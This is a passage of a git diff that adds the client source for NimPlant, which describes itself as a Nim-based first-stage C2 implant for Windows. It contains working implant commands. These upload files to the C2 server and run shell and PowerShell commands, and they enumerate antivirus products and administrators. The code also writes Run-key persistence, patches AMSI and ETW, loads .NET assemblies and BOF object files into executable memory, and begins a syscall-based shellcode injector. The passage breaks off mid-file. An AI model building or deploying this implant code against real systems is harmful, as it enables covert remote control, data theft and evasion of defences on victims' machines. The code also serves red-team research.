sleep(timeToSleep * 1000) + +when defined exportDll: + from winim/lean import HINSTANCE, DWORD, LPVOID + + proc NimMain() {.cdecl, importc.} + + proc Update(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : bool {.stdcall, exportc, dynlib.} = + NimMain() + runNp() + return true + +else: + when isMainModule: + when defined selfdelete: + selfDelete.selfDelete() + runNp() \ No newline at end of file diff --git a/client/NimPlant.nimble b/client/NimPlant.nimble new file mode 100644 index 0000000..0cc4988 --- /dev/null +++ b/client/NimPlant.nimble @@ -0,0 +1,16 @@ +# Package information +# NimPlant isn't really a package, Nimble is mainly used for easy dependency management +version = "1.0" +author = "Cas van Cooten" +description = "A Nim-based, first-stage C2 implant" +license = "MIT" +srcDir = "." +skipDirs = @["bin", "commands", "util"] + +# Dependencies +requires "nim >= 1.6.10" +requires "nimcrypto >= 0.5.4" +requires "parsetoml >= 0.7.0" +requires "puppy >= 2.0.3" +requires "ptr_math >= 0.3.0" +requires "winim >= 3.9.0" \ No newline at end of file diff --git a/client/commands/cat.nim b/client/commands/cat.nim new file mode 100644 index 0000000..7d795b2 --- /dev/null +++ b/client/commands/cat.nim @@ -0,0 +1,10 @@ +from strutils import join +import ../util/strenc + +# Print a file to stdout +proc cat*(args : varargs[string]) : string = + var file = args.join(obf(" ")) + if file == "": + result = obf("Invalid number of arguments received. Usage: 'cat [file]'.") + else: + result = readFile(file) \ No newline at end of file diff --git a/client/commands/cd.nim b/client/commands/cd.nim new file mode 100644 index 0000000..944826c --- /dev/null +++ b/client/commands/cd.nim @@ -0,0 +1,12 @@ +from os import setCurrentDir, normalizePath +from strutils import join + +# Change the current working directory +proc cd*(args : varargs[string]) : string = + var newDir = args.join(obf(" ")) + if newDir == "": + result = obf("Invalid number of arguments received. Usage: 'cd [directory]'.") + else: + newDir.normalizePath() + setCurrentDir(newDir) + result = obf("Changed working directory to '") & newDir & obf("'.") \ No newline at end of file diff --git a/client/commands/cp.nim b/client/commands/cp.nim new file mode 100644 index 0000000..1fe93eb --- /dev/null +++ b/client/commands/cp.nim @@ -0,0 +1,30 @@ +from os import copyDir, copyFile, copyFileToDir, dirExists, splitPath, `/` +from strutils import join + +# Copy files or directories +proc cp*(args : varargs[string]) : string = + var + source : string + destination : string + + if args.len >= 2: + source = args[0] + destination = args[1 .. ^1].join(obf(" ")) + else: + result = obf("Invalid number of arguments received. Usage: 'cp [source] [destination]'.") + return + + # Copying a directory + if dirExists(source): + if dirExists(destination): + copyDir(source, destination/splitPath(source).tail) + else: + copyDir(source, destination) + + # Copying a file + elif dirExists(destination): + copyFileToDir(source, destination) + else: + copyFile(source, destination) + + result = obf("Copied '") & source & obf("' to '") & destination & obf("'.") \ No newline at end of file diff --git a/client/commands/curl.nim b/client/commands/curl.nim new file mode 100644 index 0000000..c2ebaea --- /dev/null +++ b/client/commands/curl.nim @@ -0,0 +1,21 @@ +import puppy +from strutils import join +from ../util/webClient import Listener + +# Curl an HTTP webpage to stdout +proc curl*(li : Listener, args : varargs[string]) : string = + var + output : string + url = args.join(obf(" ")) + if url == "": + result = obf("Invalid number of arguments received. Usage: 'curl [URL]'.") + else: + output = fetch( + url, + headers = @[Header(key: obf("User-Agent"), value: li.userAgent)] + ) + + if output == "": + result = obf("No response received. Ensure you format the url correctly and that the target server exists. Example: 'curl https://google.com'.") + else: + result = output \ No newline at end of file diff --git a/client/commands/download.nim b/client/commands/download.nim new file mode 100644 index 0000000..ef4cac7 --- /dev/null +++ b/client/commands/download.nim @@ -0,0 +1,55 @@ +import puppy, zippy +from strutils import toLowerAscii +from os import fileExists +from ../util/webClient import Listener +from ../util/crypto import encryptData + +# Upload a file from the C2 server to NimPlant +# From NimPlant's perspective this is similar to wget, but calling to the C2 server instead +proc download*(li : Listener, cmdGuid : string, args : varargs[string]) : string = + var + filePath : string + file : string + url : string + res : Response + + if args.len == 1 and args[0] != "": + filePath = args[0] + else: + # Handling of the first argument (filename) should be done done by the python server + result = obf("Invalid number of arguments received. Usage: 'download [remote file] '.") + return + + # Construct the URL to upload the file to + url = toLowerAscii(li.listenerType) & obf("://") + if li.listenerHost != "": + url = url & li.listenerHost + else: + url = url & li.listenerIp & obf(":") & li.listenerPort + url = url & li.taskpath & obf("/u") + + # Read the file only if it is a valid file path + if fileExists(filePath): + file = encryptData(compress(readFile(filePath)), li.cryptKey) + else: + result = obf("Path to download is not a file. Usage: 'download [remote file] '.") + return + + # Prepare the Puppy web request + let req = Request( + url: parseUrl(url), + verb: "post", + allowAnyHttpsCertificate: true, + headers: @[ + Header(key: obf("User-Agent"), value: li.userAgent), + Header(key: obf("Content-Encoding"), value: obf("gzip")), + Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID + Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID + ], + body: file + ) + + # Get the file - Puppy will take care of transparent gzip deflation + res = fetch(req) + + result = "" # Server will know when the file comes in successfully or an error occurred \ No newline at end of file diff --git a/client/commands/env.nim b/client/commands/env.nim new file mode 100644 index 0000000..7378ac8 --- /dev/null +++ b/client/commands/env.nim @@ -0,0 +1,18 @@ +from os import envPairs +from strutils import strip, repeat + +# List environment variables +proc env*() : string = + var output: string + + for key, value in envPairs(): + var keyPadded : string + + try: + keyPadded = key & obf(" ").repeat(30-key.len) + except: + keyPadded = key + + output.add(keyPadded & obf("\t") & value & "\n") + + result = output.strip(trailing = true) \ No newline at end of file diff --git a/client/commands/getAv.nim b/client/commands/getAv.nim new file mode 100644 index 0000000..187cc2f --- /dev/null +++ b/client/commands/getAv.nim @@ -0,0 +1,9 @@ +import winim/com +from strutils import strip + +# Get antivirus products on the machine via WMI +proc getAv*() : string = + let wmisec = GetObject(obf(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\securitycenter2")) + for avprod in wmisec.execQuery(obf("SELECT displayName FROM AntiVirusProduct\n")): + result.add($avprod.displayName & "\n") + result = result.strip(trailing = true) \ No newline at end of file diff --git a/client/commands/getDom.nim b/client/commands/getDom.nim new file mode 100644 index 0000000..c93ca69 --- /dev/null +++ b/client/commands/getDom.nim @@ -0,0 +1,21 @@ +from winim/lean import GetComputerNameEx +from winim/utils import `&` +import winim/inc/[windef, winbase] + +# Get the current domain of the computer via the GetComputerNameEx API +proc getDom*() : string = + var + buf : array[257, TCHAR] + lpBuf : LPWSTR = addr buf[0] + pcbBuf : DWORD = int32(len(buf)) + format : COMPUTER_NAME_FORMAT = 2 # ComputerNameDnsDomain + domainJoined : bool = false + + discard GetComputerNameEx(format, lpBuf, &pcbBuf) + for character in buf: + if character == 0: break + domainJoined = true + result.add(char(character)) + + if not domainJoined: + result = obf("Computer is not domain joined") \ No newline at end of file diff --git a/client/commands/getLocalAdm.nim b/client/commands/getLocalAdm.nim new file mode 100644 index 0000000..643f547 --- /dev/null +++ b/client/commands/getLocalAdm.nim @@ -0,0 +1,11 @@ +import winim/com +import strutils + +# Get local administrators on the machine via WMI +proc getLocalAdm*() : string = + let wmi = GetObject(obf(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")) + for groupMems in wmi.execQuery(obf("SELECT GroupComponent,PartComponent FROM Win32_GroupUser\n")): + if obf("Administrators") in $groupMems.GroupComponent: + var admin = $groupMems.PartComponent.split("\"")[^2] + result.add(admin & "\n") + result = result.strip(trailing = true) \ No newline at end of file diff --git a/client/commands/ls.nim b/client/commands/ls.nim new file mode 100644 index 0000000..f3e92a3 --- /dev/null +++ b/client/commands/ls.nim @@ -0,0 +1,46 @@ +from os import getCurrentDir, getFileInfo, FileInfo, splitPath, walkDir +from times import format +from strutils import strip, repeat, join +from math import round + +# List files in the target directory +proc ls*(args : varargs[string]) : string = + var + lsPath = args.join(obf(" ")) + path : string + output : string + output_files : string + dateTimeFormat : string = obf("dd-MM-yyyy H:mm:ss") + + # List the current directory if no argument is given + if lsPath == "": + path = getCurrentDir() + else: + path = lsPath + + output = obf("Directory listing of directory '") & path & obf("'.\n\n") + output.add(obf("TYPE\tNAME\t\t\t\tSIZE\t\tCREATED\t\t\tLAST WRITE\n")) + + for kind, itemPath in walkDir(path): + var + info : FileInfo + name : string = splitPath(itemPath).tail + namePadded : string + + # Get file info, if readable to us + try: + namePadded = name & obf(" ").repeat(30-name.len) + info = getFileInfo(itemPath) + except: + namePadded = name + continue + + # Print directories first, then append files + if $info.kind == obf("pcDir"): + output.add(obf("[DIR] \t") & name & "\n") + else: + output_files.add(obf("[FILE] \t") & namePadded & obf("\t") & $(round(cast[int](info.size)/1024).toInt) & obf("KB\t\t") & $(info.creationTime).format(dateTimeFormat) & + obf("\t") & $(info.lastWriteTime).format(dateTimeFormat) & "\n") + + output.add(output_files) + result = output.strip(trailing = true) \ No newline at end of file diff --git a/client/commands/mkdir.nim b/client/commands/mkdir.nim new file mode 100644 index 0000000..be7d862 --- /dev/null +++ b/client/commands/mkdir.nim @@ -0,0 +1,11 @@ +from os import createDir +from strutils import join + +# Create a new system directory, including subdirectories +proc mkdir*(args : varargs[string]) : string = + var path = args.join(obf(" ")) + if path == "": + result = obf("Invalid number of arguments received. Usage: 'mkdir [path]'.") + else: + createDir(path) + result = obf("Created directory '") & path & obf("'.") \ No newline at end of file diff --git a/client/commands/mv.nim b/client/commands/mv.nim new file mode 100644 index 0000000..1cdd514 --- /dev/null +++ b/client/commands/mv.nim @@ -0,0 +1,30 @@ +from os import dirExists, moveFile, moveDir, splitPath, `/` +from strutils import join + +# Move a file or directory +proc mv*(args : varargs[string]) : string = + var + source : string + destination : string + + if args.len == 2: + source = args[0] + destination = args[1 .. ^1].join(obf(" ")) + else: + result = obf("Invalid number of arguments received. Usage: 'mv [source] [destination]'.") + return + + # Moving a directory + if dirExists(source): + if dirExists(destination): + moveDir(source, destination/splitPath(source).tail) + else: + moveDir(source, destination) + + # Moving a file + elif dirExists(destination): + moveFile(source, destination/splitPath(source).tail) + else: + moveFile(source, destination) + + result = obf("Moved '") & source & obf("' to '") & destination & obf("'.") \ No newline at end of file diff --git a/client/commands/ps.nim b/client/commands/ps.nim new file mode 100644 index 0000000..d90e821 --- /dev/null +++ b/client/commands/ps.nim @@ -0,0 +1,46 @@ +from winim/lean import MAX_PATH, WCHAR, DWORD, WINBOOL, HANDLE +from winim/extra import PROCESSENTRY32, PROCESSENTRY32W, CreateToolhelp32Snapshot, Process32First, Process32Next +from strutils import parseInt, repeat, strip +from os import getCurrentProcessId + +# Overload $ proc to allow string conversion of szExeFile + +proc `$`(a: array[MAX_PATH, WCHAR]): string = $cast[WideCString](unsafeAddr a[0]) + +# Get list of running processes +# https://forum.nim-lang.org/t/580 +proc ps*(): string = + var + output: string + processSeq: seq[PROCESSENTRY32W] + processSingle: PROCESSENTRY32 + + let + hProcessSnap = CreateToolhelp32Snapshot(0x00000002, 0) + + processSingle.dwSize = sizeof(PROCESSENTRY32).DWORD + + if Process32First(hProcessSnap, processSingle.addr): + while Process32Next(hProcessSnap, processSingle.addr): + processSeq.add(processSingle) + CloseHandle(hProcessSnap) + + output = obf("PID\tNAME\t\t\t\tPPID\n") + for processSingle in processSeq: + var + procName : string = $processSingle.szExeFile + procNamePadded : string + + try: + procNamePadded = procName & obf(" ").repeat(30-procname.len) + except: + procNamePadded = procName + + output.add($processSingle.th32ProcessID & obf("\t") & procNamePadded & obf("\t") & $processSingle.th32ParentProcessID) + + # Add an indicator to the current process + if parseInt($processSingle.th32ProcessID) == getCurrentProcessId(): + output.add(obf("\t<-- YOU ARE HERE")) + + output.add("\n") + result = output.strip(trailing = true) \ No newline at end of file diff --git a/client/commands/pwd.nim b/client/commands/pwd.nim new file mode 100644 index 0000000..ef6a59a --- /dev/null +++ b/client/commands/pwd.nim @@ -0,0 +1,5 @@ +from os import getCurrentDir + +# Get the current working directory +proc pwd*() : string = + result = getCurrentDir() \ No newline at end of file diff --git a/client/commands/reg.nim b/client/commands/reg.nim new file mode 100644 index 0000000..f9860ab --- /dev/null +++ b/client/commands/reg.nim @@ -0,0 +1,63 @@ +import registry +from strutils import join, split, startsWith + +# Query or modify the Windows registry +proc reg*(args : varargs[string]) : string = + + var + command : string + path : string + key : string + value : string + handleStr : string + regPath : string + handle : registry.HKEY + + # Parse arguments + case args.len: + of 2: + command = args[0] + path = args[1] + key = obf("(Default)") + of 3: + command = args[0] + path = args[1] + key = args[2] + of 4: + command = args[0] + path = args[1] + key = args[2] + value = args[3 .. ^1].join(obf(" ")) + else: + result = obf("Invalid number of arguments received. Usage: 'reg [query|add] [path] '. Example: 'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run inconspicuous calc.exe'") + return + + # Parse the registry path + try: + handleStr = path.split(obf("\\"))[0] + regPath = path.split(obf("\\"), 1)[1] + except: + result = obf("Unable to parse registry path. Please use format: 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'.") + return + + # Identify the correct hive from the parsed path + if handleStr.startsWith(obf("hkcu")): + handle = registry.HKEY_CURRENT_USER + elif handleStr.startsWith(obf("hklm")): + handle = registry.HKEY_LOCAL_MACHINE + else: + result = obf("Invalid registry. Only 'HKCU' and 'HKLM' are supported at this time.") + return + + # Query an existing registry value + if command == obf("query"): + result = getUnicodeValue(regPath, key, handle) + + # Add a value to the registry + elif command == obf("add"): + setUnicodeValue(regPath, key, value, handle) + result = obf("Successfully set registry value.") + + else: + result = obf("Unknown reg command. Please use 'reg query' or 'reg add' followed by the path (and value when adding a key).") + return \ No newline at end of file diff --git a/client/commands/risky/executeAssembly.nim b/client/commands/risky/executeAssembly.nim new file mode 100644 index 0000000..72e5188 --- /dev/null +++ b/client/commands/risky/executeAssembly.nim @@ -0,0 +1,68 @@ +import winim/clr except `[]` +from strutils import parseInt +from zippy import uncompress +import ../../util/[crypto, patches] + +# Execute a dotnet binary from an encrypted and compressed stream +proc executeAssembly*(li : Listener, args : varargs[string]) : string = + # This shouldn't happen since parameters are managed on the Python-side, but you never know + if not args.len >= 2: + result = obf("Invalid number of arguments received. Usage: 'execute-assembly [localfilepath] '.") + return + + let + assemblyB64: string = args[2] + var + amsi: bool = false + etw: bool = false + + amsi = cast[bool](parseInt(args[0])) + etw = cast[bool](parseInt(args[1])) + + result = obf("Executing .NET assembly from memory...\n") + if amsi: + var res = patchAMSI() + if res == 0: + result.add(obf("[+] AMSI patched!\n")) + if res == 1: + result.add(obf("[-] Error patching AMSI!\n")) + if res == 2: + result.add(obf("[+] AMSI already patched!\n")) + if etw: + var res = patchETW() + if res == 0: + result.add(obf("[+] ETW patched!\n")) + if res == 1: + result.add(obf("[-] Error patching ETW!\n")) + if res == 2: + result.add(obf("[+] ETW already patched!\n")) + + var dec = decryptData(assemblyB64, li.cryptKey) + var decStr: string = cast[string](dec) + var decompressed: string = uncompress(decStr) + + var assembly = load(convertToByteSeq(decompressed)) + var arr = toCLRVariant(args[3 .. ^1], VT_BSTR) + + result.add(obf("[*] Executing...\n")) + + # .NET CLR wizardry to redirect Console.WriteLine output to the nimplant console + let + mscor = load(obf("mscorlib")) + io = load(obf("System.IO")) + Console = mscor.GetType(obf("System.Console")) + StringWriter = io.GetType(obf("System.IO.StringWriter")) + + var sw = @StringWriter.new() + var oldConsOut = @Console.Out + @Console.SetOut(sw) + + # Actual assembly execution + assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) + + # Restore console properties so we don't break anything, and return captured output + @Console.SetOut(oldConsOut) + var res = fromCLRVariant[string](sw.ToString()) + result.add(res) + + result.add(obf("[+] Execution completed.")) \ No newline at end of file diff --git a/client/commands/risky/inlineExecute.nim b/client/commands/risky/inlineExecute.nim new file mode 100644 index 0000000..3793c72 --- /dev/null +++ b/client/commands/risky/inlineExecute.nim @@ -0,0 +1,280 @@ +import ../../util/[crypto, patches] +import ../../util/risky/[beaconFunctions, structs] +import ptr_math except `-` +import std/strutils +import system +import winim/lean +from zippy import uncompress + +# Largely based on the excellent NiCOFF project by @frkngksl +# Source: https://github.com/frkngksl/NiCOFF/blob/main/Main.nim +type COFFEntry = proc(args:ptr byte, argssize: uint32) {.stdcall.} + +proc HexStringToByteArray(hexString:string,hexLength:int):seq[byte] = + var returnValue:seq[byte] = @[] + for i in countup(0,hexLength-1,2): + try: + #cho hexString[i..i+1] + returnValue.add(fromHex[uint8](hexString[i..i+1])) + except ValueError: + return @[] + #fromHex[uint8] + return returnValue + +# By traversing the relocations of text section, we can count the external functions +proc GetNumberOfExternalFunctions(fileBuffer:seq[byte],textSectionHeader:ptr SectionHeader):uint64 = + var returnValue:uint64=0 + var symbolTableCursor:ptr SymbolTableEntry = nil + var symbolTable:ptr SymbolTableEntry = cast[ptr SymbolTableEntry](unsafeAddr(fileBuffer[0]) + cast[int]((cast[ptr FileHeader](unsafeAddr(fileBuffer[0]))).PointerToSymbolTable)) + var relocationTableCursor:ptr RelocationTableEntry = cast[ptr RelocationTableEntry](unsafeAddr(fileBuffer[0]) + cast[int](textSectionHeader.PointerToRelocations)) + for i in countup(0,cast[int](textSectionHeader.NumberOfRelocations-1)): + symbolTableCursor = cast[ptr SymbolTableEntry](symbolTable + cast[int](relocationTableCursor.SymbolTableIndex)) + # Condition for an external symbol + if(symbolTableCursor.StorageClass == IMAGE_SYM_CLASS_EXTERNAL and symbolTableCursor.SectionNumber == 0): + returnValue+=1 + relocationTableCursor+=1 + return returnValue * cast[uint64](sizeof(ptr uint64)) + +proc GetExternalFunctionAddress(symbolName:string):uint64 = + var prefixSymbol:string = obf("__imp_") + var prefixBeacon:string = obf("__imp_Beacon") + var prefixToWideChar:string = obf("__imp_toWideChar") + var libraryName:string = "" + var functionName:string = "" + var returnAddress:uint64 = 0 + var symbolWithoutPrefix:string = symbolName[6..symbolName.len-1] + + if(not symbolName.startsWith(prefixSymbol)): + ##result.add(obf("[!] Function with unknown naming convention!")) + return returnAddress + + # Check is it our cs function implementation + if(symbolName.startsWith(prefixBeacon) or symbolName.startsWith(prefixToWideChar)): + for i in countup(0,22): + if(symbolWithoutPrefix == functionAddresses[i].name): + return functionAddresses[i].address + else: + try: + # Why removePrefix doesn't work with 2 strings argument? + var symbolSubstrings:seq[string] = symbolWithoutPrefix.split({'@','$'},2) + libraryName = symbolSubstrings[0] + functionName = symbolSubstrings[1] + except: + #result.add(obf("[!] Symbol splitting problem!")) + return returnAddress + + var libraryHandle:HMODULE = LoadLibraryA(addr(libraryName[0])) + + if(libraryHandle != 0): + returnAddress = cast[uint64](GetProcAddress(libraryHandle,addr(functionName[0]))) + #if(returnAddress == 0): + #result.add(obf("[!] Error on function address!")) + return returnAddress + else: + #result.add(obf("[!] Error loading library!")) + return returnAddress + + +proc Read32Le(p:ptr uint8):uint32 = + var val1:uint32 = cast[uint32](p[0]) + var val2:uint32 = cast[uint32](p[1]) + var val3:uint32 = cast[uint32](p[2]) + var val4:uint32 = cast[uint32](p[3]) + return (val1 shl 0) or (val2 shl 8) or (val3 shl 16) or (val4 shl 24) + +proc Write32Le(dst:ptr uint8,x:uint32):void = + dst[0] = cast[uint8](x shr 0) + dst[1] = cast[uint8](x shr 8) + dst[2] = cast[uint8](x shr 16) + dst[3] = cast[uint8](x shr 24) + +proc Add32(p:ptr uint8, v:uint32) = + Write32le(p,Read32le(p)+v) + +proc ApplyGeneralRelocations(patchAddress:uint64,sectionStartAddress:uint64,givenType:uint16,symbolOffset:uint32):void = + var pAddr8:ptr uint8 = cast[ptr uint8](patchAddress) + var pAddr64:ptr uint64 = cast[ptr uint64](patchAddress) + + case givenType: + of IMAGE_REL_AMD64_REL32: + Add32(pAddr8, cast[uint32](sectionStartAddress + cast[uint64](symbolOffset) - patchAddress - 4)) + return + of IMAGE_REL_AMD64_ADDR32NB: + Add32(pAddr8, cast[uint32](sectionStartAddress - patchAddress - 4)) + return + of IMAGE_REL_AMD64_ADDR64: + pAddr64[] = pAddr64[] + sectionStartAddress + return + else: + #result.add(obf("[!] No code for type")) + return + +var allocatedMemory:LPVOID = nil + +proc RunCOFF(functionName:string,fileBuffer:seq[byte],argumentBuffer:seq[byte],mainResult:var string):bool = + var fileHeader:ptr FileHeader = cast[ptr FileHeader](unsafeAddr(fileBuffer[0])) + var totalSize:uint64 = 0 + # Some COFF files may have Optional Header to just increase the size according to MSDN + var sectionHeaderArray:ptr SectionHeader = cast[ptr SectionHeader] (unsafeAddr(fileBuffer[0])+cast[int](fileHeader.SizeOfOptionalHeader)+sizeof(FileHeader)) + var sectionHeaderCursor:ptr SectionHeader = sectionHeaderArray + var textSectionHeader:ptr SectionHeader = nil + var sectionInfoList: seq[SectionInfo] = @[] + var tempSectionInfo:SectionInfo + var memoryCursor:uint64 = 0 + var symbolTable:ptr SymbolTableEntry = cast[ptr SymbolTableEntry](unsafeAddr(fileBuffer[0]) + cast[int](fileHeader.PointerToSymbolTable)) + var symbolTableCursor:ptr SymbolTableEntry = nil + var relocationTableCursor:ptr RelocationTableEntry = nil + var sectionIndex:int = 0 + var isExternal:bool = false + var isInternal:bool = false + var patchAddress:uint64 = 0 + var stringTableOffset:int = 0 + var symbolName:string = "" + var externalFunctionCount:int = 0 + var externalFunctionStoreAddress:ptr uint64 = nil + var tempFunctionAddr:uint64 = 0 + var delta:uint64 = 0 + var tempPointer:ptr uint32 = nil + var entryAddress:uint64 = 0 + var sectionStartAddress:uint64 = 0 + + # Calculate the total size for allocation + for i in countup(0,cast[int](fileHeader.NumberOfSections-1)): + if($(addr(sectionHeaderCursor.Name[0])) == ".text"): + # Seperate saving for text section header + textSectionHeader = sectionHeaderCursor + + # Save the section info + tempSectionInfo.Name = $(addr(sectionHeaderCursor.Name[0])) + tempSectionInfo.SectionOffset = totalSize + tempSectionInfo.SectionHeaderPtr = sectionHeaderCursor + sectionInfoList.add(tempSectionInfo) + + # Add the size + totalSize+=sectionHeaderCursor.SizeOfRawData + sectionHeaderCursor+=1 + + if(textSectionHeader.isNil()): + mainResult.add(obf("[!] Text section not found!\n")) + return false + + # We need to store external function addresses too + allocatedMemory = VirtualAlloc(NULL, cast[UINT32](totalSize+GetNumberOfExternalFunctions(fileBuffer,textSectionHeader)), MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) + if(allocatedMemory == NULL): + mainResult.add(obf("[!] Failed memory allocation!\n")) + return false + + # Now copy the sections + sectionHeaderCursor = sectionHeaderArray + externalFunctionStoreAddress = cast[ptr uint64](totalSize+cast[uint64](allocatedMemory)) + for i in countup(0,cast[int](fileHeader.NumberOfSections-1)): + copyMem(cast[LPVOID](cast[uint64](allocatedMemory)+memoryCursor),unsafeaddr(fileBuffer[0])+cast[int](sectionHeaderCursor.PointerToRawData),sectionHeaderCursor.SizeOfRawData) + memoryCursor += sectionHeaderCursor.SizeOfRawData + sectionHeaderCursor+=1 + + when defined verbose: + mainResult.add(obf("[+] Sections copied.\n")) + + # Start relocations + for i in countup(0,cast[int](fileHeader.NumberOfSections-1)): + # Traverse each section for its relocations + when defined verbose: + mainResult.add(obf(" [+] Performing relocations for section '") & $sectionInfoList[i].Name & "'.\n") + relocationTableCursor = cast[ptr RelocationTableEntry](unsafeAddr(fileBuffer[0]) + cast[int](sectionInfoList[i].SectionHeaderPtr.PointerToRelocations)) + for relocationCount in countup(0, cast[int](sectionInfoList[i].SectionHeaderPtr.NumberOfRelocations)-1): + symbolTableCursor = cast[ptr SymbolTableEntry](symbolTable + cast[int](relocationTableCursor.SymbolTableIndex)) + sectionIndex = cast[int](symbolTableCursor.SectionNumber - 1) + isExternal = (symbolTableCursor.StorageClass == IMAGE_SYM_CLASS_EXTERNAL and symbolTableCursor.SectionNumber == 0) + isInternal = (symbolTableCursor.StorageClass == IMAGE_SYM_CLASS_EXTERNAL and symbolTableCursor.SectionNumber != 0) + patchAddress = cast[uint64](allocatedMemory) + sectionInfoList[i].SectionOffset + cast[uint64](relocationTableCursor.VirtualAddress - sectionInfoList[i].SectionHeaderPtr.VirtualAddress) + if(isExternal): + # If it is a function + stringTableOffset = cast[int](symbolTableCursor.First.value[1]) + symbolName = $(cast[ptr byte](symbolTable+cast[int](fileHeader.NumberOfSymbols))+stringTableOffset) + tempFunctionAddr = GetExternalFunctionAddress(symbolName) + if(tempFunctionAddr != 0): + (externalFunctionStoreAddress + externalFunctionCount)[] = tempFunctionAddr + delta = cast[uint64]((externalFunctionStoreAddress + externalFunctionCount)) - cast[uint64](patchAddress) - 4 + tempPointer = cast[ptr uint32](patchAddress) + tempPointer[] = cast[uint32](delta) + externalFunctionCount+=1 + else: + mainResult.add(obf("[!] Unknown symbol resolution!\n")) + return false + else: + if(sectionIndex >= sectionInfoList.len or sectionIndex < 0): + mainResult.add(obf("[!] Error on symbol section index!\n")) + return false + sectionStartAddress = cast[uint64](allocatedMemory) + sectionInfoList[sectionIndex].SectionOffset + if(isInternal): + for internalCount in countup(0,sectionInfoList.len-1): + if(sectionInfoList[internalCount].Name == obf(".text")): + sectionStartAddress = cast[uint64](allocatedMemory) + sectionInfoList[internalCount].SectionOffset + break + ApplyGeneralRelocations(patchAddress,sectionStartAddress,relocationTableCursor.Type,symbolTableCursor.Value) + relocationTableCursor+=1 + + when defined verbose: + mainResult.add(obf("[+] Relocations completed!\n")) + + for i in countup(0,cast[int](fileHeader.NumberOfSymbols-1)): + symbolTableCursor = symbolTable + i + if(functionName == $(addr(symbolTableCursor.First.Name[0]))): + when defined verbose: + mainResult.add(obf("[+] Trying to find entrypoint: '") & $functionName & "'...\n" ) + + entryAddress = cast[uint64](allocatedMemory) + sectionInfoList[symbolTableCursor.SectionNumber-1].SectionOffset + symbolTableCursor.Value + + if(entryAddress == 0): + mainResult.add(obf("[!] Entrypoint not found.\n")) + return false + var entryPtr:COFFEntry = cast[COFFEntry](entryAddress) + + when defined verbose: + mainResult.add(obf("[+] Entrypoint found! Executing...\n")) + + if(argumentBuffer.len == 0): + entryPtr(NULL,0) + else: + entryPtr(unsafeaddr(argumentBuffer[0]),cast[uint32](argumentBuffer.len)) + return true + +# Execute a BOF from an encrypted and compressed stream +proc inlineExecute*(li : Listener, args : varargs[string]) : string = + # This shouldn't happen since parameters are managed on the Python-side, but you never know + if (not args.len >= 2): + result = obf("Invalid number of arguments received. Usage: 'inline-execute [localfilepath] [entrypoint] '.") + return + + let + bofB64: string = args[0] + + var dec = decryptData(bofB64, li.cryptKey) + var decStr: string = cast[string](dec) + var fileBuffer: seq[byte] = convertToByteSeq(uncompress(decStr)) + + var nimEntry = args[1] + + # Unhexlify the arguments + var argumentBuffer: seq[byte] = @[] + if(args.len == 3): + argumentBuffer = HexStringToByteArray(args[2], args[2].len) + if(argumentBuffer.len == 0): + result.add(obf("[!] Error parsing arguments.")) + + # Run COFF file + if(not RunCOFF(nimEntry, fileBuffer, argumentBuffer, result)): + result.add(obf("[!] BOF file not executed due to errors.\n")) + VirtualFree(allocatedMemory, 0, MEM_RELEASE) + return + + result.add(obf("[+] BOF file executed.\n")) + + var outData:ptr char = BeaconGetOutputData(NULL); + + if(outData != NULL): + result.add(obf("[+] Output:\n")) + result.add($outData) + + VirtualFree(allocatedMemory, 0, MEM_RELEASE) + return \ No newline at end of file diff --git a/client/commands/risky/powershell.nim b/client/commands/risky/powershell.nim new file mode 100644 index 0000000..2340908 --- /dev/null +++ b/client/commands/risky/powershell.nim @@ -0,0 +1,54 @@ +import winim/clr except `[]` +from strutils import parseInt +import ../../util/patches + +# Execute a PowerShell command via referencing the System.Management.Automation +# assembly DLL directly without calling powershell.exe +proc powershell*(args : varargs[string]) : string = + # This shouldn't happen since parameters are managed on the Python-side, but you never know + if not args.len >= 2: + result = obf("Invalid number of arguments received. Usage: 'powershell [command]'.") + return + + var + amsi: bool = false + etw: bool = false + commandArgs = args[2 .. ^1].join(obf(" ")) + + amsi = cast[bool](parseInt(args[0])) + etw = cast[bool](parseInt(args[1])) + + result = obf("Executing command via unmanaged PowerShell...\n") + if amsi: + var res = patchAMSI() + if res == 0: + result.add(obf("[+] AMSI patched!\n")) + if res == 1: + result.add(obf("[-] Error patching AMSI!\n")) + if res == 2: + result.add(obf("[+] AMSI already patched!\n")) + if etw: + var res = patchETW() + if res == 0: + result.add(obf("[+] ETW patched!\n")) + if res == 1: + result.add(obf("[-] Error patching ETW!\n")) + if res == 2: + result.add(obf("[+] ETW already patched!\n")) + + let + Automation = load(obf("System.Management.Automation")) + RunspaceFactory = Automation.GetType(obf("System.Management.Automation.Runspaces.RunspaceFactory")) + var + runspace = @RunspaceFactory.CreateRunspace() + pipeline = runspace.CreatePipeline() + + runspace.Open() + pipeline.Commands.AddScript(commandArgs) + pipeline.Commands.Add(obf("Out-String")) + + var pipeOut = pipeline.Invoke() + for i in countUp(0, pipeOut.Count() - 1): + result.add($pipeOut.Item(i)) + + runspace.Dispose() \ No newline at end of file diff --git a/client/commands/risky/shell.nim b/client/commands/risky/shell.nim new file mode 100644 index 0000000..67a3c5d --- /dev/null +++ b/client/commands/risky/shell.nim @@ -0,0 +1,12 @@ +import osproc + +# Execute a shell command via 'cmd.exe /c' and return output +proc shell*(args : varargs[string]) : string = + var commandArgs : seq[string] + + if args[0] == "": + result = obf("Invalid number of arguments received. Usage: 'shell [command]'.") + else: + commandArgs.add(obf("/c")) + commandArgs.add(args) + result = execProcess(obf("cmd"), args=commandArgs, options={poUsePath, poStdErrToStdOut, poDaemon}) \ No newline at end of file diff --git a/client/commands/risky/shinject.nim b/client/commands/risky/shinject.nim new file mode 100644 index 0000000..c5678a5 --- /dev/null +++ b/client/commands/risky/shinject.nim @@ -0,0 +1,151 @@ +from ../../util/risky/delegates import NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx +from ../../util/risky/dinvoke import SYSCALL_STUB_SIZE, GetSyscallStub +from strutils import parseInt +from zippy import uncompress +import ../../util/crypto +import 